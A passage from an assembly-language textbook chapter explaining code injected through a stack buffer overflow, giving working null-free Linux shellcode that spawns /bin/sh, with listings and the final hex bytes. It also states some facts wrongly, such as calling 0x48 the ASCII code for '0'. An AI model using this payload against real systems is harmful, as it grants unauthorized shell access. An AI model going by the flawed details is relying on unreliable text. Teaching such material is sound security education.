15.2: Code to Inject
- Page ID
- 19954
\( \newcommand{\vecs}[1]{\overset { \scriptstyle \rightharpoonup} {\mathbf{#1}} } \)
\( \newcommand{\vecd}[1]{\overset{-\!-\!\rightharpoonup}{\vphantom{a}\smash {#1}}} \)
\( \newcommand{\id}{\mathrm{id}}\) \( \newcommand{\Span}{\mathrm{span}}\)
( \newcommand{\kernel}{\mathrm{null}\,}\) \( \newcommand{\range}{\mathrm{range}\,}\)
\( \newcommand{\RealPart}{\mathrm{Re}}\) \( \newcommand{\ImaginaryPart}{\mathrm{Im}}\)
\( \newcommand{\Argument}{\mathrm{Arg}}\) \( \newcommand{\norm}[1]{\| #1 \|}\)
\( \newcommand{\inner}[2]{\langle #1, #2 \rangle}\)
\( \newcommand{\Span}{\mathrm{span}}\)
\( \newcommand{\id}{\mathrm{id}}\)
\( \newcommand{\Span}{\mathrm{span}}\)
\( \newcommand{\kernel}{\mathrm{null}\,}\)
\( \newcommand{\range}{\mathrm{range}\,}\)
\( \newcommand{\RealPart}{\mathrm{Re}}\)
\( \newcommand{\ImaginaryPart}{\mathrm{Im}}\)
\( \newcommand{\Argument}{\mathrm{Arg}}\)
\( \newcommand{\norm}[1]{\| #1 \|}\)
\( \newcommand{\inner}[2]{\langle #1, #2 \rangle}\)
\( \newcommand{\Span}{\mathrm{span}}\) \( \newcommand{\AA}{\unicode[.8,0]{x212B}}\)
\( \newcommand{\vectorA}[1]{\vec{#1}} % arrow\)
\( \newcommand{\vectorAt}[1]{\vec{\text{#1}}} % arrow\)
\( \newcommand{\vectorB}[1]{\overset { \scriptstyle \rightharpoonup} {\mathbf{#1}} } \)
\( \newcommand{\vectorC}[1]{\textbf{#1}} \)
\( \newcommand{\vectorD}[1]{\overrightarrow{#1}} \)
\( \newcommand{\vectorDt}[1]{\overrightarrow{\text{#1}}} \)
\( \newcommand{\vectE}[1]{\overset{-\!-\!\rightharpoonup}{\vphantom{a}\smash{\mathbf {#1}}}} \)
\( \newcommand{\vecs}[1]{\overset { \scriptstyle \rightharpoonup} {\mathbf{#1}} } \)
\( \newcommand{\vecd}[1]{\overset{-\!-\!\rightharpoonup}{\vphantom{a}\smash {#1}}} \)
\(\newcommand{\avec}{\mathbf a}\) \(\newcommand{\bvec}{\mathbf b}\) \(\newcommand{\cvec}{\mathbf c}\) \(\newcommand{\dvec}{\mathbf d}\) \(\newcommand{\dtil}{\widetilde{\mathbf d}}\) \(\newcommand{\evec}{\mathbf e}\) \(\newcommand{\fvec}{\mathbf f}\) \(\newcommand{\nvec}{\mathbf n}\) \(\newcommand{\pvec}{\mathbf p}\) \(\newcommand{\qvec}{\mathbf q}\) \(\newcommand{\svec}{\mathbf s}\) \(\newcommand{\tvec}{\mathbf t}\) \(\newcommand{\uvec}{\mathbf u}\) \(\newcommand{\vvec}{\mathbf v}\) \(\newcommand{\wvec}{\mathbf w}\) \(\newcommand{\xvec}{\mathbf x}\) \(\newcommand{\yvec}{\mathbf y}\) \(\newcommand{\zvec}{\mathbf z}\) \(\newcommand{\rvec}{\mathbf r}\) \(\newcommand{\mvec}{\mathbf m}\) \(\newcommand{\zerovec}{\mathbf 0}\) \(\newcommand{\onevec}{\mathbf 1}\) \(\newcommand{\real}{\mathbb R}\) \(\newcommand{\twovec}[2]{\left[\begin{array}{r}#1 \\ #2 \end{array}\right]}\) \(\newcommand{\ctwovec}[2]{\left[\begin{array}{c}#1 \\ #2 \end{array}\right]}\) \(\newcommand{\threevec}[3]{\left[\begin{array}{r}#1 \\ #2 \\ #3 \end{array}\right]}\) \(\newcommand{\cthreevec}[3]{\left[\begin{array}{c}#1 \\ #2 \\ #3 \end{array}\right]}\) \(\newcommand{\fourvec}[4]{\left[\begin{array}{r}#1 \\ #2 \\ #3 \\ #4 \end{array}\right]}\) \(\newcommand{\cfourvec}[4]{\left[\begin{array}{c}#1 \\ #2 \\ #3 \\ #4 \end{array}\right]}\) \(\newcommand{\fivevec}[5]{\left[\begin{array}{r}#1 \\ #2 \\ #3 \\ #4 \\ #5 \\ \end{array}\right]}\) \(\newcommand{\cfivevec}[5]{\left[\begin{array}{c}#1 \\ #2 \\ #3 \\ #4 \\ #5 \\ \end{array}\right]}\) \(\newcommand{\mattwo}[4]{\left[\begin{array}{rr}#1 \amp #2 \\ #3 \amp #4 \\ \end{array}\right]}\) \(\newcommand{\laspan}[1]{\text{Span}\{#1\}}\) \(\newcommand{\bcal}{\cal B}\) \(\newcommand{\ccal}{\cal C}\) \(\newcommand{\scal}{\cal S}\) \(\newcommand{\wcal}{\cal W}\) \(\newcommand{\ecal}{\cal E}\) \(\newcommand{\coords}[2]{\left\{#1\right\}_{#2}}\) \(\newcommand{\gray}[1]{\color{gray}{#1}}\) \(\newcommand{\lgray}[1]{\color{lightgray}{#1}}\) \(\newcommand{\rank}{\operatorname{rank}}\) \(\newcommand{\row}{\text{Row}}\) \(\newcommand{\col}{\text{Col}}\) \(\renewcommand{\row}{\text{Row}}\) \(\newcommand{\nul}{\text{Nul}}\) \(\newcommand{\var}{\text{Var}}\) \(\newcommand{\corr}{\text{corr}}\) \(\newcommand{\len}[1]{\left|#1\right|}\) \(\newcommand{\bbar}{\overline{\bvec}}\) \(\newcommand{\bhat}{\widehat{\bvec}}\) \(\newcommand{\bperp}{\bvec^\perp}\) \(\newcommand{\xhat}{\widehat{\xvec}}\) \(\newcommand{\vhat}{\widehat{\vvec}}\) \(\newcommand{\uhat}{\widehat{\uvec}}\) \(\newcommand{\what}{\widehat{\wvec}}\) \(\newcommand{\Sighat}{\widehat{\Sigma}}\) \(\newcommand{\lt}{<}\) \(\newcommand{\gt}{>}\) \(\newcommand{\amp}{&}\) \(\definecolor{fillinmathshade}{gray}{0.9}\)Before discussing how the stack buffer overflow might be exploited, we will review what code might be injected. The code to be injected could be many things. We will assume the program is being executed in a controlled environment with no console access for the user. The lack of console access would limit what a user could do ideally to only what the program allowed. This might be the case if the program is server-based interacting with a user through a web or application front-end. The server would be protected from direct user access for obvious security reasons.
As such, one possible attack vector might be to obtain console access to the back-end server (where such access is normally not allowed).
There is a system service that can execute another program. Using this system service, exec, we could execute the sh program (shell) which is a standard Linux program. This will create and open a shell providing console access. The newly created shell is limited to the privileges of the process that started it. In a good security environment, the process will be granted only the privileges it requires. In a poor security environment, the process may have additional, unnecessary privileges which would make it easier for an unauthorized black-hat hacker to cause problems.
Given the following data declarations:
NULL equ 0 progName db "/bin/sh", NULL
An example of the exec system service would be as follows:
; Example, system service call for exec. mov rax, 59 mov rdi, progName syscall
A new console will appear. The reader is encouraged to try this code example and see it work.
The list file for this code fragment would be as follows:
40 00000000 48C7C03B000000 mov rax, 59 41 00000007 48C7C7[00000000] mov rdi, progName 42 0000000E 0F05 syscall
Recall that the first column is the line number, the second column is relative address in the code section and the third column is the machine language or the hex representation of the human readable instruction shown in the fourth column. The [00000000] represents the relative address of the string in the data section (progName in this example). It is zero since it is the first (and only) variable in the data section for this example.
If the machine language shown is entered into memory and executed, a shell or console would be opened. Getting the hex version of the code into memory can only be performed via the keyboard (since there is no direct access to file system). This would be done one character at a time. The 0x48 is the ASCII code for “0”, so “0” could be entered for that byte. However, the 0x0f and many of the other characters are more difficult to enter directly as ASCII.
The command shell will allow entry of hex code in hex. By typing control key and the left shift followed by a lower-case u and then four hex digits (must be hex), the hex values can be entered one at a time. For example, to enter the 0x3f, it would be;
CTRL SHIFT u 3 f
This can be done for most of the bytes except the 0x00. The 0x00 is a NULL which is a non-printable ASCII characters (used to mark string terminations). As such, the NULL cannot be entered from the keyboard. Additionally, the [00000000] address would not make sense if the code is injected into another program.
To address these issues, we can re-write the example code and eliminate the NULL's and change the address reference. The NULL's can be eliminated by using different instructions. For example, setting rax to 59 can be accomplished by xor'ing rax with itself and placing the 59 in al (having already ensured the upper 56 bits are 0 via the xor). The string can be placed on the stack and the current rsp used as the address of the string. The string, “\bin\sh” is 7 bytes and the stack operation will require a push of 8 bytes. Again, the NULL cannot be entered and is not counted. An extra, unnecessary “/” can be added to the string which will not impact the operation providing exactly 8 bytes in the string. Since the architecture is little-endian, in order to ensure that the start of the string is in low memory, it must be in the least significant byte of the push. This will make the string appear backwards.
The revised program fragment would be as follows:
xor rax, rax ; clear rax push rax ; place NULLs on stack mov rbx, 0x68732f6e69622f2f ; string -> "//bin/sh" push rbx ; put string in memory mov al, 59 ; call code in rax mov rdi, rsp ; rdi = addr of string syscall ; system call
The list file for the program fragment would be as follows:
52 00000013 4831C0 xor rax, rax 53 00000016 50 push rax 54 00000017 48BB2F2F62696E2F73 mov rbx, 0x68732f6e69622f2f 55 00000017 68 56 00000021 53 push rbx 57 00000022 B03B mov a1, 59 58 00000024 4889E7 mov rdi, rsp 59 00000027 0F05 syscall
In this revised code, there are no NULL's and the address reference is obtained from the stack pointer (rsp) which points to the correct string.
There is an assembly language instruction nop which performs no operation with a machine code of 0x90. In this example, the nop instruction is used simply to round out the machine code to an even multiple of 8 bytes.
The series of hex values that would need to be entered is as follows:
0x48 0x31 0xC0 0x50 0x48 0xBB 0x2F 0x2F 0x62 0x69 0x6E 0x2F 0x73 0x68 0x53 0xB0 0x3B 0x48 0x89 0xE7 0x0F 0x05 0x90 0x90
While somewhat tedious, these characters can be entered by hand.